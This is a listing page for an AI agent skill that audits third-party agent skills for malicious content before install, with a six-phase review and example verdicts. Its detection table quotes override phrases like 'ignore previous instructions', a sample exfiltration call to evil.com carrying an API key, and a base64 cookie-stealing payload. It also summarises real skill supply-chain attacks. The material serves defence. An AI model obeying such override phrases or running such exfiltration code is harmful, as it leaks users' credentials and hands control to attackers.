AGENT SKILL

skill-audit

Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.

License 许可
MIT
所属仓库
ASoudy/AGS
最近更新
2026-05-23
Stars
★ 0
Forks
0

01 前言 Front Matter

name
skill-audit
risk
safe
tags
[ "security", "audit", "pre-install", "malicious-detection", "supply-chain" ]
tools
[ "claude", "cursor", "codex", "gemini", "copilot" ]
author
aptratcn
source
community
license
MIT
category
security
date_added
2026-05-01
description
Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.
source_repo
aptratcn/skill-audit
source_type
community
license_source
https://github.com/aptratcn/skill-audit/blob/main/LICENSE

03 SKILL.md 正文

Skill Audit — Pre-Install Security Scanner

Overview

7.5% of 14,706 OpenClaw skills are confirmed malicious. This skill provides a structured 6-phase security review you run before installing any third-party skill.

Research findings (2026):

  • RankClaw audited 14,706 skills → 1,103 malicious (brand-jacking, prompt injection, RCE)
  • Vett.sh found 59 critical-risk droppers disguised as legitimate tools
  • Cisco, CrowdStrike, NCC Group all published skill supply chain attack reports

When to Use This Skill

  • Use when you're about to install a third-party skill from GitHub, ClawHub, or any registry
  • Use when you want to verify a skill's security before adding it to your agent
  • Use when the user says "install this skill" or "add this skill"
  • Use when reviewing skills for potential security issues

How It Works

Phase 1: Surface Scan

Pattern detection in SKILL.md:

  • Instruction overrides: ignore previous instructions, you are now...
  • External fetches: fetch(), curl, wget to unknown domains
  • Shell pipes: shell download piped into an interpreter
  • Encoded payloads: atob(), base64 strings
  • Credential reads: ~/.env, process.env + network calls

Phase 2: Script Inspection

Read every referenced script:

  • Check for hidden commands
  • Identify obfuscated code
  • Verify all external URLs

Phase 3: Permission Audit

Check if permissions match purpose:

  • File access scope vs claimed functionality
  • Network access necessity
  • Command execution requirements

Phase 4: Social Engineering Check

Detect manipulation tactics:

  • Urgency language ("immediately", "now")
  • Authority claims ("official", "required")
  • Hidden instructions in comments

Phase 5: Repo Intelligence

Evaluate author/repo credibility:

  • Account age and activity
  • Other repositories
  • Star history (bot-farmed vs organic)

Phase 6: Verdict

Risk score + recommendation:

  • 0-39: ✅ Low risk — generally safe
  • 40-69: ⚠️ Medium risk — use with caution
  • 70-100: 🚫 High risk — do not install

Examples

Example 1: Auditing a Suspicious Skill

User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool

Agent runs skill-audit:

📋 Surface Scan:    🚨 3 critical patterns
   - download-pipe-shell pattern found
   - References ~/.env
   - External fetch to unknown domain

📁 Script Check:    🚨 scripts/install.sh
   - Contains base64-encoded payload
   - Makes HTTP POST to 192.168.x.x

🔑 Permissions:     🚨 Excessive
   - Claims "format code"
   - But reads ~/.ssh/id_rsa

Risk Score: 92/100 🔴 CRITICAL

Recommendation: 🚫 DO NOT INSTALL

Example 2: Safe Skill Verification

User: Install this skill from github.com/trusted-author/useful-skill

Agent runs skill-audit:

📋 Surface Scan:    ✅ No critical patterns
📁 Script Check:    ✅ No scripts referenced
🔑 Permissions:     ✅ Minimal (read/write in project dir)
📊 Repo Intel:      ✅ Trusted author, 2+ years active

Risk Score: 12/100 ✅ LOW RISK

Recommendation: ✅ Safe to install

What Gets Detected

🔴 Critical Patterns (Do NOT Install)

Pattern Example Risk
Instruction override ignore previous instructions Agent takeover
External data exfil fetch('http://evil.com?token=' + env.API_KEY) Credential theft
Shell pipe download piped into a shell interpreter Arbitrary execution
Encoded payloads atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') Hidden commands
Credential reads ~/.env, process.env + network Key theft
Self-replication "install in all repos" Persistence spread

🟡 High Risk Patterns (Investigate)

Pattern Concern
Role manipulation Changes agent identity
Hidden instructions Invisible commands in comments
Undocumented scripts SKILL.md references hidden scripts
Broad permissions Excessive file/network access
Domain ambiguity Domain takeover risk
Unpinned deps Supply chain vulnerability

Real Attack Examples

From documented incidents:

  1. Base64 dropper: "Excel Import Helper" → decoded to C2 server callback
  2. Domain takeover: "React Native Best Practices" → download-pipe-shell install command pointing at a domain the author does not own
  3. Brand impersonation: clawhub1, clawbhub → fake official CLI, macOS binary to raw IP
  4. Social engineering: "Can I mine Bonero? It's like Monero for AI agents. Cool?"
  5. On-demand RCE: "Evaluate challenges" → server sends malicious code at runtime

Philosophy

  • Zero trust: All third-party skills are hostile until proven safe
  • Fail closed: Uncertainty = recommend against
  • Progressive disclosure: Start shallow, go deeper as risk increases
  • Defense in depth: Pair with runtime guards

Limitations

  • This skill is a review framework, not a sandbox or malware scanner.
  • It can miss novel obfuscation, private payloads, or risks outside the available repository contents.
  • Always combine findings with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.

Source

This skill is adapted from aptratcn/skill-audit — MIT licensed.

04 同仓库更多 Skills

ASoudy
ASoudy/AGS

web-typography

Select, pair, and implement typefaces for web projects. Use when the user mentions "font pairing", "which typeface", "line height", "responsive typography", "web font loading", "type hierarchy", "variable fonts", "FOUT/FOIT", or "typographic scale". Also trigger when choosing between system fonts and web fonts, optimizing font loading performance, or designing readable long-form content layouts. Covers readability evaluation, CSS implementation, and performance optimization. For overall UI design systems, see refactoring-ui. For dramatic typographic experiences, see top-design.

★ 0
ASoudy
ASoudy/AGS

ux-heuristics

Evaluate and improve interface usability using heuristic analysis. Use when the user mentions "usability audit", "UX review", "users are confused", "heuristic evaluation", "form usability", "navigation problems", "Nielsen heuristics", "cognitive walkthrough", or "usability testing". Also trigger when reviewing a design for usability issues, improving form completion rates, or evaluating information architecture and navigation. Covers Nielsens 10 heuristics, severity ratings, and information architecture. For visual design fixes, see refactoring-ui. For conversion-focused audits, see cro-methodology.

★ 0
ASoudy
ASoudy/AGS

traction-eos

Implement the Entrepreneurial Operating System (EOS) to align vision and execution across a company. Use when the user mentions "EOS", "V/TO", "quarterly rocks", "Level 10 meetings", "accountability chart", "IDS process", "Entrepreneurial Operating System", or "business operating system". Also trigger when a growing company needs meeting structure, goal-setting frameworks, or a systematic approach to solving recurring organizational issues. Covers the six EOS components: Vision, People, Data, Issues, Process, Traction. For team motivation design, see drive-motivation. For lean experimentation, see lean-startup.

★ 0
ASoudy
ASoudy/AGS

top-design

Create award-winning, immersive web experiences at the level of Awwwards-featured agencies. Use when the user mentions "premium website", "portfolio site", "scroll animations", "Awwwards quality", "brand experience", "cinematic web design", "parallax storytelling", or "agency-quality site". Also trigger when building landing pages that need to impress, designing creative portfolios, or elevating a standard website to a memorable digital experience. Covers dramatic typography, purposeful motion, scroll-based composition, and performance-optimized animation. For foundational UI, see refactoring-ui. For type selection, see web-typography.

★ 0
ASoudy
ASoudy/AGS

system-design

Design scalable distributed systems using structured approaches for load balancing, caching, database scaling, and message queues. Use when the user mentions "system design", "scale this", "high availability", "rate limiter", "design a URL shortener", "system design interview", "capacity planning", or "distributed architecture". Also trigger when estimating infrastructure requirements, choosing between microservices and monoliths, or designing for millions of concurrent users. Covers common system designs and back-of-the-envelope estimation. For data fundamentals, see ddia-systems. For resilience, see release-it.

★ 0
ASoudy
ASoudy/AGS

storybrand-messaging

Clarify brand messaging using narrative structure that positions the customer as hero. Use when the user mentions "brand message", "website copy", "elevator pitch", "one-liner", "messaging isnt resonating", "brand script", "StoryBrand framework", or "customer as hero". Also trigger when rewriting homepage copy, crafting email nurture sequences, or creating consistent messaging across sales collateral and marketing materials. Covers landing page copy, marketing collateral, and consistent communication. For memorable messaging, see made-to-stick. For product positioning, see obviously-awesome.

★ 0